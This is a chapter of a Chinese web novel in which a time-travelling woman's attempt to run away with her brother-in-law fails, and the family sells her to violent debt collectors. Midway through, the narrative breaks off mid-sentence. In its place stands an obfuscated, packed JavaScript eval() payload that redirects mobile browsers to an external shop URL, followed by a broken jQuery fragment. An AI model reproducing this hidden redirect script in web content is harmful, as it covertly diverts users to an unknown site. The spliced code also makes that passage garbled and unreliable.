文趣网 > 其他小说 > 同那位仙君实则孽缘 > 9. 反转
    李延去拿户籍的时候,到王有才书房门外,就听到一阵争吵,他就贴着墙角偷听了起来。

    说着赶快嫁给吴家小少爷这类话。

    “我不要!”

    “吴家家大业大的,有什么不好,把你托付到好人家,也是咱娘的遗愿。”

    “你让我嫁到一个行事心狠手辣的家里,这算什么好人家?!我在后面的日子可怎么盼得了头啊,我只是想要一个平和的生活,嫁善良的人家而已。”王丽蓉哭哭啼啼地说。

    王有才怒气冲冲地拍在桌上,拿着当前的局势逼问她:“最近私塾都不好营生,外面都乱成什么样了,你怎么能这么不懂事?人家吴家的小少爷也对你很满意,你就知足吧,蓉儿。”

    王丽蓉狡辩道:“可是李延他们家那个药铺的生意我看不错,估计能够还完呀。”

    李延不免心惊,老师妹妹是对他芳心暗许,但更多能听出是拿他做挡箭牌。

    他只能为她可惜,不管落花有情,他这辈子也只会喜欢杨千里。

    “还完?”王有才有些意味深长地一笑,王丽蓉也立刻消停了。

    李延听着二人又没什么动静,连忙退了老远,假装才经过此处。

    刚巧就和哭得梨花带雨的王丽蓉迎面撞上,她袖口擦着眼泪,见李延同自己打招呼,就提醒了一句:“李郎,最近小心吴家,他们攀上了士族。”

    李延还在原地沉思。最近街上确实冷清,就连私塾好几个同窗都没有出门了,在课的同窗都嘴里说着是启林城的妖怪没抓到,跑他们这儿来了。

    有的还谣传,九尾狐离得越近,灾厄越多,他们镇怕不是被缠上了?

    这让他对逃跑到外面更恐惧了,不是妖物,而是没了他哥哥和药铺给的束脩,他今后该怎么考取功名呢?

    算了算了,李延捂着头,事到如今,他是愿意一起为爱奔走的。

    他大概都没想到,李善就在门缝后面打量,虽然没听到什么,叔嫂间大体的举动也不逾矩,但他心里就是很慌,那一块像钻了虫子。

    王氏买菜回来,迎面就和李善撞上了。

    王氏很激动,刚想跑过来想喊她儿,就被捂住了口鼻。

    “娘,别说话。”

    **

    五更天,天蒙蒙发黑,万籁俱寂,城外面守卫疲乏松懈,家家户户这会儿也爬不起来。

    杨千里蹑手蹑脚地套上了鞋,批了厚点的衣裳,就打算出门了。

    李善纵然是睡在枕边,床单各摆一角的,也闹腾不醒。

    她淡定地假装自己去上茅房,谁能猜到是跑路呢?

    杨千里,一个现代人,没了城市的灯光,靠着月光,眼睛也逐渐习惯了黑灯瞎火。

    按照约定,她和李延在书房门口碰了面,再去侧门边上的大缸里去拿包袱。

    她刚推开门的一角,那木板结间的腐朽就吱呀作响,在安静的环境被无限放大,搞人心态。

    忽地,刚出去几步,李延就抓住了她的手腕,面上说不清的恐慌与紧张交杂:“嫂嫂,要不我们先别着急逃吧,其实凑凑能还完债的。”

    杨千里不知他发什么神经,抽回了手,问:“你不走了吗?”

    李延犹豫地找着措辞,说:“不,不是,只是觉得你太冲动了。我们先回去吧。”

    后悔就是一阵汹涌的浪潮,一整天都在折磨着他,直到现在把他拍醒了。

    在这里,他至少是受人膜拜的读书人,而离开了私塾,没了童试乡试完成考试,他自诩特立独行的修养还有高尚品德,又有谁瞧得起呢?

    更何况让他一个抱腹诗书礼易的人,去南下干什么粗活?!他完全不敢想。

    他不敢对着杨千里诉说真实的感受,怕被这女人怪懦夫。

    杨千里也早就料到他做事优柔寡断了,想着自己一个人能快点跑就快点跑,说:“你不想走的话,那我就自己走。”

    路上能多个保镖的话是不错,只是这个钱不太够分,她自己小心些也不是不行。

    这李延偏就是抢过她的包袱,吵道:“千里,你冷静点,留在李家有什么不好的?”

    一来二去越来越激烈,给杨千里整得心慌,直接去打李延的手,道:“你给我滚。”

    里屋那块黑洞洞的,也由寂静动响了起来,就像藏了什么鬼怪,连这两个人一块儿被吓到了。

    李延知道事情要败露了,但怎么样也被她杨千里跑了更好,就凭借比她还高大点的身体,牢牢抱了上去,认她怎么踢打都不放开。

    杨千里快被气死了。

    “千里你听我说,我这是为了你好。我们一家一直生活会更好。”

    王氏从房里面窜了出来,口中喊着:“抓贼啊。”

    李善潦草地抓了件衣裳出来,就见着他的娘子正和弟弟恬不知耻地抱着,他怒不可遏地扇了李延一巴掌。

    力道大得这文弱书生的重心不稳,团着杨千里的手一松,就摔在了地上,疼痛地咳嗽连连。

    王氏惊讶,去把自己好小儿扶了起来。

    李善把杨千里扯会了怀里,但尴尬地是白天藏的那一大袋包袱,被扯了出去,藏进去的烧饼和衣服都掉了出来。

    李善瞪大了眼,原来是私奔啊,他又一把抓住了杨千里的手腕,经常上山采药的缘故,他的身体意外地强健。

    她刚刚就被李延勒了很久,这下腕口更疼了,说:“你听我解释。”

    “还有什么好解释的?你这个□□,不就是想和他私奔吗?”

    “我没有啊,收拾收拾新买的衣服而已,都怪你的弟弟。”

    杨千里一向花言巧语多,他现在懒得听,直接把她给五花大绑了起来,又在王氏张目结舌的崩溃里把李延也捆了,两对所谓的奸夫淫妇。

    “我就知道,你同我说的那些甜言蜜语都是假的,你一直爱恋的是我的弟弟。现在你勾搭上了我弟弟?毁坏了我的家庭,还要骗一些家财,同他一起跑了?”

    杨千里嘴里被塞了布条,被问什么都只能摇头,她冤枉啊,她一没真出轨,二没硬要李延跑。

    王氏有些说不出的痛快,她又气又觉得大快人心。

    但面部因为兴奋而扭曲,但证实了杨千里是狐媚子也没让她害怕,因为这狐狸居然能够被绑起来。

    王氏:“妖怪,妖怪,这当真是个妖怪!我就说我们李家居然被骗了这么久,儿子啊,你看,我就说她是个妖怪!”

    她抓着李善胳膊摇晃。

    李善本就在气头上,泄愤般地又扇了他弟弟一嘴巴子,打得李延牙底出血,鲜红顺着他的嘴冒了出来。

    王氏连忙挡着李延面前,说:“不不不,别怪他,是这个妖怪给蛊惑了。”

    然后示范似地,抓着杨千里的领子,咬着牙扇她,道:“都怪你,都怪你!害我出去抬不起头,害我丈夫死了,你还蛊惑我两个儿子,你这个贱人!”

    杨千里只怨恨自己逃跑计划多加了猪队友,果然男就是男,只是嘴上说说不吃亏而已。

    既然错都错了,脸上被打得火辣辣地疼,她抬头瞪了回去,一套漂亮的美瞳划片。

    王氏反而兴奋:“大师果然没说错,现在你被我抓着了,那也没办法了。明天你就等着上去游街吧,就说这妖怪已经被抓到了,我们李家也终于不用再被这些腌臜事给缠着了。”

    “不行!”两兄弟异口同声地说。

    他们心知肚明,杨千里不是妖怪,娘要是真出去说,可就是上赶着给人添唾沫星子。

    李延可不想被骂违人伦的牲畜,就为杨千里求情,哭哭啼啼地说:“兄长,阿娘,求你们放过嫂嫂,都是我的错,是我一时被嫂嫂迷了心窍,才会想着勾搭嫂嫂。都是我的错,你们别怪她。”

    李延这一番话,相当于帮倒忙了,王氏更加没来由地生气,两个儿子又一次帮着外人坑她一片苦心!

    李善想着,他现在是恨杨千里这个死女人联合他弟给自己戴了绿帽子,也奈何不了她。

    因为债没还完,药铺的生意又上哪找免费的帮工,干脆一咬牙竟对杨千里安抚起情绪来。

    一家三口你嚷我我嚷你,竟磨蹭到了雄鸡报晓。

    结束这段争吵的,是更大的噪声,李家小院的正后门,被几脚踹开连带着门闩摔在了地上。

    刷刷几下,涌入一堆穿着黑袍,腰间插着大刀,满脸横肉的壮汉。

    一个个凶神恶煞,打扮不像官差,也不像劫匪,脸大胆地露出来,很明显,李家没有惹什么大事。

    如此大阵仗而来,究竟是因何而来呢?

    刚刚嚷嚷个不停的一大家子,这会儿都吓傻了,还是王氏先警惕地开口:“你们是谁?”

    为首穿着硬挺面料,劲装的男人,从袖口拿出来了黄纸红字的债券,说:“今儿啊,爷几个是奉小少爷之命来收债的。李家欠银一百五十两。本金七十两,县太爷都发话了,今日就要你们这些老赖还了。”

    “今日让我们还?怎么来的这么个道理?”王氏骂骂咧咧地说道。

    李善心头一颤,那天在衙门听到的事果然不假,今天这是轮到自己了吗?

    他后退了几步,带着些踉跄。

    那些个家丁抄着家伙,一个个可不好糊弄,手里面都拿着大刀,直直地望李家屋子里奔去收钱了。

    王氏气得腿软,摔在了李善身上,又急道:“你们不要碰我李家的东西!”

    “欠条里不是还有一月吗?你们这么提前,还有没有王法了?”李延最先反应过来,叫骂道。

    “王法?”吴惧替吴家收债这么多年,叫嚣都听多了,颇为得意地走到被捆绑双手的李延面前,重重地抽打他的脑子,说:“老子就是王法!”

    吴惧打量起鼻青眼肿的青年,好笑地说:“你是李延啊。我记得就是你小子,看上了我们家少爷未来的婆娘?”

    他的刀面蹭在了李延的脸上,然后说道:“是长得挺好一个小白脸的,花言巧语,刚刚在外面正还听你勾搭嫂子的风流事,我还以为多能耐呢,还不是我两个巴掌的事。”

    王氏立马跪了下

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846951|211756||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    来,看着这把刀悬在儿子脸颊边,说不出的心疼:“官老爷,求你莫要为难我儿子。”

    “去去去。”那为非作歹的人一下子把王氏踹在了旁边。

    乡绅土豪的霸道一瞬间就让平日里站着说话的几人跪下来,不管是仗着自己是一家之主,还是倚老卖老。

    说到底,他们都只敢欺负比自己弱的,淫威之下眼皮又跳了。

    杨千里看着几人吃瘪,心中有种说不出的痛快,好像脸上被扇的一巴掌又不疼了。

    但对方可不是因为可怜她被男人负心才出手的,敌人的敌人就是朋友这套说辞,只能用在对等的角色。

    很快安静如鸡的她也被吴惧扫到,只是打量货物一般轻,她现在就像李家肉一样受人宰割。

    他清点了手下收缴上来的钞票,慢悠悠地说:“我估计你们家把药铺拿来抵了都还不上。”

    “这都没到规定时间呢,官大老爷,再宽容一下。”李善这会儿下跪了,“我相信官老爷您不缺那点钱的,本就赶上战乱,我们生意还算景气,等后面赚了连本带利来孝敬您。”

    王氏反应过来:“对对对,再送点礼。”

    “送礼?我们主子家大业大的,看得上你这点儿。”吴惧讽刺。

    李善想着刚刚吴惧针对的话,又把自家弟弟的绳子给拆开,按着他的脑袋,膝盖往地下砸,碰一下那读书人的“面子”就没了,李延还挣扎了几下,可就是犟不动他哥的力道。

    李善说:“官大老爷,舍弟如此愚钝,哪里会做勾引少夫人的事?他给您磕头都来不及呢。”

    砰砰砰,凿地上好几个响头,才让吴惧满意地点头。

    他鼠精一样的眯缝眼,又飘忽两下,落在了杨千里的身上,“我听说啊,李家的新妇有些来路不明。”

    他的手捏住了杨千里的下巴,打量起女人的样貌,满意地点头:“听说还是个痴情种,不过被棒打鸳鸯咯。”

    “虽然好奇你们叔嫂怎么个偷情法,但小妮子还算清秀,脸也圆润。不如抵给我们这儿的人侩,也好把这个债给还清。”

    杨千里气愤地瞪了过去,要不是嘴里被塞了布条让她支吾不了,现在已经对着死走狗的脏手咬了过去。

    他凑近,杨千里这么一瞧,才发现是那日大街上明目张胆偷瞟他的外地人,原来那会儿就在镇上挑人了。

    “对对对,可以把她给卖了。”王氏一听到可以救李家药铺,也没顾忌杨千里是个妖了。

    李善虽然之前没想过去报官叔嫂通奸,但那是想着多个免费的人手,还能帮着做饭,给自己带了绿帽也忍了。

    可这会儿铺子都要没了,这女人留着有什么用?

    他点头哈腰:“官老爷,我娘子自然是为了李家愿意奉献自己。她能识文断字,学习也快,送到那些大户人家自然是好。”

    “能识文断字的可以送去当小妾了。不过你的娘子跟了你这么久,连个鸭蛋都没下出来,估计也不是个能生育的。”吴惧嘴尖,他可不想让自己买入的价多了,就贬低道:“顶多丫鬟。”

    李善白了脸,他自觉身为一个男人,不能说自己阳痿,急于解释:“是出于家事,我才没有同家妻圆房。”

    “李兄弟还真会说呢,我刚刚就在外面听着,你娘刚刚吼得很大声,你媳妇是个妖怪,窝藏妖物又不报官,按道理你家是不是连诛?”

    王氏立马摆手,这会儿也不说妖怪了:“没有没有,哪里的话,我跟我儿媳妇开玩笑呢。”

    “也是嘛,就算是妖怪也得给我绑起来抵债。”

    就这样,几人你一言我一语中,拉扯价格,杨千里被拉走了。

    大鱼吃小鱼,李家三口是被利滚利套牢脖子,她也是,只不过小鱼吃虾米,她甚至连绳子都挣脱不了。

    如果当时李延拽她,她力气再大点给甩开了,不说打回去,至少跑过了,是不是就自由了?

    她做梦都没想到,逃跑计划不仅失败了,自己还真的就应了王氏那一句,万般皆是命,黑户命就是黑户命。

    还不如当初被李家三口告上衙门了,反正最后都是被卖了数钱。

    她愤愤地往回看着这一家三口。李延哭得撕心裂肺,正想往她这边冲过来,王氏在后面死死拉着他,李善面上只剩点惋惜,毕竟她好歹救了自己的药铺。

    李家都是害她的人,也包括李延。如果李延真想要冲过来救他,又怎么会挣脱不了王氏的束缚呢?

    他只是纯粹做戏给外人和自己看,他有一颗可怜的真心。

    杨千里在心里面暗骂李家三口,现在也只能骂了。

    被卖为奴籍,就和死了的区别也就是还没死,活着受辱。不过逃跑一事她不悔,至少能有成王败寇的安慰。

    就算她不跑,今日也会被推出去卖了,他们打心底没把新妇当自家人。

    天杀的,别的主角穿越都是公主或者官家小姐,再不济都有类似厨娘的稳定职业?

    怎么就她一个人是身穿到这儿,还没有好心的父母收留?当黑户。